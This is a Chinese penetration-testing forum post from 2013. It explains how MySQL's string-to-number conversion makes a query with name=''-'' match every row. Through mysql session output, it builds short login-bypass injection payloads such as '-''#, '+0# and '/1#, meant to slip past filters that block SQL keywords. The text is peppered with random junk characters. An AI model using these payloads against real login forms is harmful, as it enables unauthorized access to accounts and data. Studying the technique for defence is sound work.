中国网络渗透测试联盟

标题: 使用MySQL字符串运算实施精巧化SQL注入攻击 [打印本页]

作者: admin    时间: 2013-11-23 16:20
标题: 使用MySQL字符串运算实施精巧化SQL注入攻击
我们先来看这样一个场景。7 _) c: e8 @( C; x+ s4 x
有以下表结构:
9 V7 F, G+ c; h# ^7 @
5 I: Q& U# F( q7 {mysql> desc admin;, W) K! d3 m) m
+----------+--------------+------+-----+---------+----------------+
) u0 H3 ^5 @$ p. e| Field    | Type         | Null | Key | Default | Extra          |& N6 s! a! w9 G/ I, b
+----------+--------------+------+-----+---------+----------------+
: l: F, U7 a+ B( @4 {$ E! q- T| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |6 J7 F) ~: Q1 b) D( q( V
| name     | char(32)     | NO   | UNI | NULL    |                |
( A# L# e/ D0 x9 q6 o| password | char(32)     | NO   | UNI | NULL    |                |3 z; Q3 T" R0 ?# o
+----------+--------------+------+-----+---------+----------------+
/ B) C" o6 y  ?( d/ G3 rows in set (0.00 sec)
' a/ M2 A0 O/ c2 S+ X执行select * from admin;,成功返回所有记录内容。
! z6 `) a% q, N1 p+ ?: M, x- K( q& P1 h  s, A
- ~; \, k5 n- O) B
+----+--------+----------------------------------+
% D- J% V! W% s, M( C7 t; k7 M# H| id | name   | password                         |) h9 m8 L; i3 A: K+ d$ d+ W) b: a
+----+--------+----------------------------------+
+ u/ |8 \9 m/ C2 }% i|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |$ a- c+ f* z4 |5 W
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
/ [8 F, ^* n" Q" z|  4 | n00b   | ff80e8508d39047460921792273533a4 |
' m4 M) k" h+ A+----+--------+----------------------------------+
' O9 j2 Y& f& c, @. E0 F3 rows in set (0.00 sec)
+ ]0 I0 V9 @8 U3 U0 L执行select * from admin where name=”;,没有匹配到任何记录。 7 ?/ k" ~/ }  ^  K7 i0 w+ Z0 d

5 u6 j/ l8 P+ T. @- Z- p' @mysql> select * from admin where name = '';! \: }5 e2 n4 J" N% \7 W
Empty set (0.00 sec)
5 k; }* O7 N# J: @8 d  ^: k) B那么我们来执行select * from admin where name = ”-”;9 \& i( S+ f+ j) }4 P; X) X

- I$ {, l3 w1 G) {5 _$ Q$ ?9 e' V7 R  @, Y
+----+--------+----------------------------------+7 ?9 q% U' K) E7 A6 {! {1 m
| id | name   | password                         |
1 y  |- y# g( p  |+----+--------+----------------------------------+
( o( _* |" s$ {  X6 w$ _|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |+ C+ ?8 H! c, x7 x; ]8 Y; U# ]
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
- y6 }3 J+ p6 ]* z/ K+ s% |- y|  4 | n00b   | ff80e8508d39047460921792273533a4 |
& x  ]8 S0 a  j& q; C) N8 Z+----+--------+----------------------------------+
7 r1 g6 q7 X6 l# X+ c" e% _5 S( x$ j3 rows in set, 3 warnings (0.00 sec)4 X8 v' H6 R7 R2 |' q
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: : J/ K6 V  u$ K& K( f; L2 t
/ |+ T4 T7 B  }1 T8 G3 N
mysql> show warnings;6 D$ r& ^0 s9 z
+---------+------+------------------------------------------
* X* ]1 c( J$ x8 \1 d* Q| Level   | Code | Message
9 a- X% {5 Z; V6 g: G/ R$ j+---------+------+------------------------------------------% U" o* Z) A; {/ _, w5 I3 r
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
) U( W/ r8 r0 k- T( h| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s- l6 M5 ~# f- S" P. Q! S9 F: ^
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b& ^# `1 d" V9 c& W7 N
+---------+------+------------------------------------------9 D: M) l- D5 P3 N
3 rows in set (0.00 sec)
# j9 I5 a, e+ \; C  H4 S' z% X& {提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 3 V' P2 Q! Y% M3 y" r( U
$ Q- h5 c# |9 `% A$ A' h; e
mysql> select ''-'';7 Z' T  `( \% o" u) }9 x
+-------+4 o8 I2 U, _* |1 J( C
| ''-'' |
: M& x) N% v: F8 @7 U' B! w6 J. Q9 X+-------+) J) I. }; T# M0 I
|     0 |
( @" ?! M* @8 \% I+-------+7 J6 g; G1 C" F- ]8 D" H4 q( r! @
1 row in set (0.00 sec)! S, R5 K# |- H0 e+ R+ A  C) Z/ g8 M
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: $ G9 H1 e8 s, `/ P  ^
: X! o6 M7 V1 R
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);/ @7 P4 V4 r$ E1 \3 l6 N: w. @0 p
+-----------------------------------------------------+
) G8 c2 a+ j& V| CAST((select name from admin limit 1,1) as DECIMAL) |% S& v. N, N1 X  F
+-----------------------------------------------------+1 s7 ~2 D3 G$ H/ F3 w* _$ e
|                                                   0 |% w4 Z* w) A" t" I: i1 s: M# T
+-----------------------------------------------------+' n+ t/ C! U, b6 j, [; O9 a: }2 e6 H
1 row in set, 1 warning (0.00 sec)+ C) ~2 W; w3 J5 [: _% _* X) d. B
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 , Q# b$ U) z1 k

' l( V1 o: W4 i( l8 k  ?. }SQL注入场景: http://www.sqlzoo.net/hack/
1 Q& L$ p  }2 \$ E4 Z3 J" ], I+ w) K. s5 K, ]) {1 o
7 Z' R% F8 h4 T

- n# L% D. N- T) r, F. f$ E: h  f9 ]# G5 {& e- v
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
2 k3 m. K; X! P1 B8 S
4 H; s, N9 [7 h( o  ?  U那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 ' s* [" u/ O' j$ V2 ~

6 m7 e0 L4 @" L7 a( N. i) l# E1 u& e& q" m

' f2 N0 k4 d3 U) J, L, X
" H3 I, a3 ?$ C# K* N& V$ f仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
0 D7 _1 v, N) q" L# r6 u
2 C4 T# \3 C6 ^4 n3 ]) @   
. ^  X& u2 e  T
9 F/ S! b4 M3 A0 v/ R. h" I除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
5 h& i$ Z% ?: S8 S8 [
' ?/ u9 ~1 e! P) w
+ C3 Z' ^; J" omysql> select ''/1;) Q4 J+ B5 d4 p% n" x7 m
+------+
: U( i/ @# G9 m7 w| ''/1 |$ y2 N( ^1 F5 A! c$ N8 F: l
+------+0 p" O4 s1 r5 i
|    0 |
: z4 }+ \5 B: h& P4 x+------+/ a. y0 w( t# V9 n5 D3 [1 ?0 R
1 row in set (0.00 sec)
+ X! Q+ K7 [( z% U# W类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
' b+ `6 c. Q, M/ j0 s" _5 s& a
$ ^& C; A7 V8 j% p' u; ~利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。5 K$ H% U! b8 L% c, q





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2